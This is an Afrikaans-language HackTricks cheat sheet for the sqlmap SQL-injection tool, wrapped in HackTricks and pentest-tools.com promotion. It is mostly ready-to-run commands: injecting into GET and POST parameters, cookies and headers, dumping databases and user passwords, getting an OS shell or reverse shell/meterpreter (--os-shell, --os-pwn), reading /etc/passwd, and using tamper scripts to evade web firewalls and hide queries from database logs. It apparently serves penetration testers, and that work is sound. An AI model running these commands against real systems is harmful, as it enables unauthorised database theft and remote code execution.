15 KiB
SQLMap - Spiekbrief
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.
Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
Basiese argumente vir SQLmap
Generies
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Kry Inligting
Intern
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
DB data
DB data
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Inspruitingsplek
Vanaf Burp/ZAP vaslegging
Vasvang die versoek en skep 'n req.txt-lêer
sqlmap -r req.txt --current-user
GET Aanvraag Inspruiting
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST Aanvraag Inspruiting
sqlmap -u "http://example.com" --data "username=*&password=*"
Inspruitings in Koppe en ander HTTP Metodes
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Dui aan string wanneer inspuiting suksesvol is
--string="string_showed_when_TRUE"
Eval
Sqlmap maak die gebruik van -e
of --eval
moontlik om elke lading te verwerk voordat dit met 'n bietjie Python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die lading op aangepaste maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld word die flask koekie sessie deur flask onderteken met die bekende geheim voordat dit gestuur word:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Dopshell
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Lees Lêer
--file-read=/etc/passwd
Kruip 'n webwerf met SQLmap en outomaties uitbuit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Tweede Orde Inspruiting
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Lees hierdie posoor hoe om eenvoudige en komplekse tweede-orde inspuitings met sqlmap uit te voer.
Aanpassing van Insigting
Stel 'n agtervoegsel
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Voorvoegsel
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Help om booleaanse inspuiting te vind
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Verander
Onthou dat jy jou eie veranderings in Python kan skep en dit is baie maklik. Jy kan 'n veranderingsvoorbeeld vind op die Tweede Orde Inspruiting bladsy hier.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Beskrywing |
---|---|
apostrophemask.py | Vervang apostroofkarakter met sy UTF-8 volle breedte teenhanger |
apostrophenullencode.py | Vervang apostroofkarakter met sy onwettige dubbele unicode teenhanger |
appendnullbyte.py | Voeg gekodeerde NULL byte karakter aan die einde van die lading toe |
base64encode.py | Base64 alle karakters in 'n gegewe lading |
between.py | Vervang groter as operateur ('>') met 'NIET TUSSEN 0 EN #' |
bluecoat.py | Vervang spatiekarakter na SQL-stelling met 'n geldige lukrake leë karakter. Vervolgens vervang karakter = met LIKE operateur |
chardoubleencode.py | Verdubbel url-kodeer alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie) |
commalesslimit.py | Vervang instansies soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
commalessmid.py | Vervang instansies soos 'MID(A, B, C)' met 'MID(A VANAF B VIR C)' |
concat2concatws.py | Vervang instansies soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Url-kodeer alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie) |
charunicodeencode.py | Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie). "%u0022" |
charunicodeescape.py | Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie). "\u0022" |
equaltolike.py | Vervang alle voorkomste van operateur gelyk ('=') met operateur 'LIKE' |
escapequotes.py | Slas ontsnap aan aanhalingstekens (' en ") |
greatest.py | Vervang groter as operateur ('>') met 'GREATEST' teenhanger |
halfversionedmorekeywords.py | Voeg 'n versie MySQL kommentaar voor elke sleutelwoord by |
ifnull2ifisnull.py | Vervang instansies soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Omhels volledige navraag met 'n versie kommentaar |
modsecurityzeroversioned.py | Omhels volledige navraag met nul-geversioneerde kommentaar |
multiplespaces.py | Voeg meervoudige spasies rondom SQL sleutelwoorde by |
nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings wat geskik is vir vervanging (bv. .replace("SELECT", "")) |
percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter by |
overlongutf8.py | Omskep alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie) |
randomcase.py | Vervang elke sleutelwoordkarakter met 'n lukrake gevalwaarde |
randomcomments.py | Voeg lukrake opmerkings by SQL sleutelwoorde |
securesphere.py | Voeg 'n spesiaal saamgestelde string by |
sp_password.py | Voeg 'sp_password' by die einde van die lading vir outomatiese verduistering van DBMS-logboeke |
space2comment.py | Vervang spatiekarakter (' ') met opmerkings |
space2dash.py | Vervang spatiekarakter (' ') met 'n streep opmerking ('--') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
space2hash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
space2morehash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
space2mssqlblank.py | Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters |
space2mssqlhash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n nuwe lyn ('\n') |
space2mysqlblank.py | Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters |
space2mysqldash.py | Vervang spatiekarakter (' ') met 'n streep opmerking ('--') gevolg deur 'n nuwe lyn ('\n') |
space2plus.py | Vervang spatiekarakter (' ') met plus ('+') |
space2randomblank.py | Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters |
symboliclogical.py | Vervang AND en OF logiese operateurs met hul simboliese teenhangers (&& en |
unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
unmagicquotes.py | Vervang aanhalingstekenkarakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
uppercase.py | Vervang elke sleutelwoordkarakter met hoofletters 'INSERT' |
varnish.py | Voeg 'n HTTP-kop 'X-originating-IP' by |
versionedkeywords.py | Sluit elke nie-funksie sleutelwoord in met 'n geversioneerde MySQL kommentaar |
versionedmorekeywords.py | Sluit elke sleutelwoord in met 'n geversioneerde MySQL kommentaar |
xforwardedfor.py | Voeg 'n vals HTTP-kop 'X-Forwarded-For' by |
Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & kenmerke wat vanaf rekognisering tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, doppe te klap, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github repos.